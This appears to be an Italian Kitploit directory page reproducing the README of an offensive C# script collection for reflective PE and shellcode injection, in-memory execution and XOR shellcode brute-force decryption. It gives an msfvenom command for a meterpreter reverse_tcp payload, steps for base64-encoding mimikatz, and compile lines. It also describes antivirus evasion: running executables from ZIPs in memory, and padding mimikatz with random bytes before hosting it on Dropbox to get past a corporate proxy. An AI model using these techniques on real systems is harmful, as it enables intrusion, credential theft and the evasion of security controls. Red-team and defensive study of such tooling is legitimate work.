Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CSharpScripts — Script offensivi in C# per l'iniezione riflessiva di PE e shellcode, l'esecuzione di payload in memoria, la decifratura brute-force XOR dello shellcode e l'analisi degli assembly .NET. | Kitploit
Strumenti/GitHubGitHub/arno0x/csharpscripts
Strumenti di Crittografia/DecrittografiaReverse EngineeringShellcodePost-ExploitAnalisi MalwarePenetration TestingRed TeamingSviluppo PayloadBinary Exploitation
GitHubarno0x/csharpscripts

CSharpScripts

Script offensivi in C# per l'iniezione riflessiva di PE e shellcode, l'esecuzione di payload in memoria, la decifratura brute-force XOR dello shellcode e l'analisi degli assembly .NET.

344112209 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

Script C#

Autore: Arno0x0x - @Arno0x0x

Questo repository ha lo scopo di pubblicare alcuni dei miei script C#. Alcuni sono semplicemente fork o ispirati da altri script che ho trovato qua e là, e che ho adattato alle mie esigenze o semplicemente per imparare e migliorare.

Decifrare tramite brute force (bf), quindi caricare ed eseguire, uno shellcode cifrato con xor

bfDecryptShellcode.cs

Questo script è un PoC un po' sciocco e probabilmente non molto utile di decifratura tramite brute force di uno shellcode cifrato con XOR multibyte. Una volta decifrato lo shellcode, viene caricato in memoria ed eseguito.

Per usarlo, sono necessarie due cose:

  1. Uno shellcode cifrato con XOR multibyte
  2. L'hash MD5 del payload decifrato che funge da marcatore per sapere che è stata trovata la chiave di decifratura corretta

È possibile ottenere entrambi usando il mio progetto ShellcodeWrapper e fornendogli qualsiasi payload metasploit raw.

Caricare e analizzare dinamicamente un assembly .Net

parseAssembly.cs

Questa applicazione console caricherà dinamicamente un assembly .Net (exe o dll), sia da un file locale che scaricato da un URL, opzionalmente codificato in base64. Una volta caricato, enumererà i suoi tipi, metodi e proprietà. Esempi: parseAssembly.exe myAssembly.dll oppure parseAssembly.exe http://some.site.com/myAssembly base64

Giocare con l'iniezione riflessiva di PE e Shellcode

Questa è una raccolta di script adattati dal lavoro di Casey Smith (@subTee) sull'iniezione riflessiva di PE o shellcode nel processo chiamante, da varie fonti.

peloader.cs

Questo script carica un file PE x64 codificato in base64 (ad esempio: Mimikatz o un Meterpreter) nella memoria del processo e lo esegue in modo riflessivo. Il PE viene passato come variabile stringa base64 all'inizio del file (sì, è hardcoded).

È possibile generare questa stringa codificata in base64 da qualsiasi file usando la seguente riga di comando *nix:

root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64

La compilazione dello script su una macchina Windows richiede il framework .Net (installato per impostazione predefinita da Windows 7 in poi):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs

shellcodelauncher.cs

Questo script esegue uno shellcode nella memoria del processo e lo esegue in modo riflessivo. Lo shellcode viene passato come un array di byte in una variabile. È possibile ottenere il codice appropriato per questo array generato automaticamente con l'utility msfvenom di Metasploit. Ad esempio, per generare uno shellcode reverse_tcp meterpreter:

root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp

La compilazione dello script su una macchina Windows richiede il framework .Net (installato per impostazione predefinita da Windows 7 in poi):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs

runfromzipinmemory.cs

Questo script è pesantemente e vergognosamente basato, ispirato e derivato dal lavoro di Casey Smith (@subTee) su Netkatz.

Ho scoperto che l'antivirus locale (McAfee) sulla mia workstation aziendale è configurato per NON analizzare il contenuto di un file ZIP, probabilmente partendo dal presupposto che ogni volta che questo contenuto debba essere letto o eseguito verrebbe normalmente prima estratto da qualche parte sul disco, e qualsiasi elemento dannoso in esso contenuto verrebbe intercettato dall'AV in quel momento.

Ciò che fa questo script è caricare tutto in memoria e lavorare solo da lì, usando anche la reflection per eseguire un PE dalla memoria del processo chiamante.

Quindi non solo l'AV non abbaia affatto, ma da una prospettiva forense, l'unico "processo visibilmente in esecuzione" sembra perfettamente innocuo.

Compilare lo script su una macchina Windows richiede il framework .Net (installato di default da Windows 7 in poi):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs

Puoi quindi eseguire:

unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>

netPEloader.cs

Questo script è ampiamente basato e ispirato al lavoro di Casey Smith (@subTee) su Netkatz.

Netkatz è un fantastico PoC per caricare l'ultima release di mimikatz da GitHub ed eseguirla direttamente in memoria. Tuttavia, nel mio ambiente ho riscontrato tre problemi:

  1. La connessione a Internet deve passare attraverso un proxy aziendale che richiede autenticazione NTLM (Windows SSO va bene)
  2. La pagina GitHub di Mimikatz è bloccata dal proxy aziendale a causa della categorizzazione dei siti web
  3. Il file mimikatz_trunked.zip viene rilevato dall'AV del proxy (sì, con l'ispezione SSL attivata a livello di proxy)

Ho quindi modificato lo script netkatz originale per risolvere questi 3 problemi:

  1. Aggiunto il supporto per il proxy di sistema e le credenziali predefinite (utente Windows attualmente connesso)
  2. Ospitando il PE su un sito web non bloccato, dall'aspetto innocuo come www.dropbox.com
  3. Per rendere il PE non rilevabile dall'AV, potremmo ricorrere a vari metodi di offuscamento come la crittografia o codifiche specifiche, ma preferisco la semplice tecnica di aggiungere 65536 byte casuali di spazzatura all'inizio del vero PE x64 di Mimikatz:
    • dd if=/dev/urandom of=garbage bs=65536 count=1
    • cat garbage mimikatz.exe > mimiHidden
    • Caricare mimiHidden su dropbox e condividerlo

L'URL da cui scaricare il PE nascosto è codificato direttamente nello script.

Compilare lo script su una macchina Windows richiede il framework .Net (installato per impostazione predefinita da Windows 7 in poi):

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs
Scarica lo strumento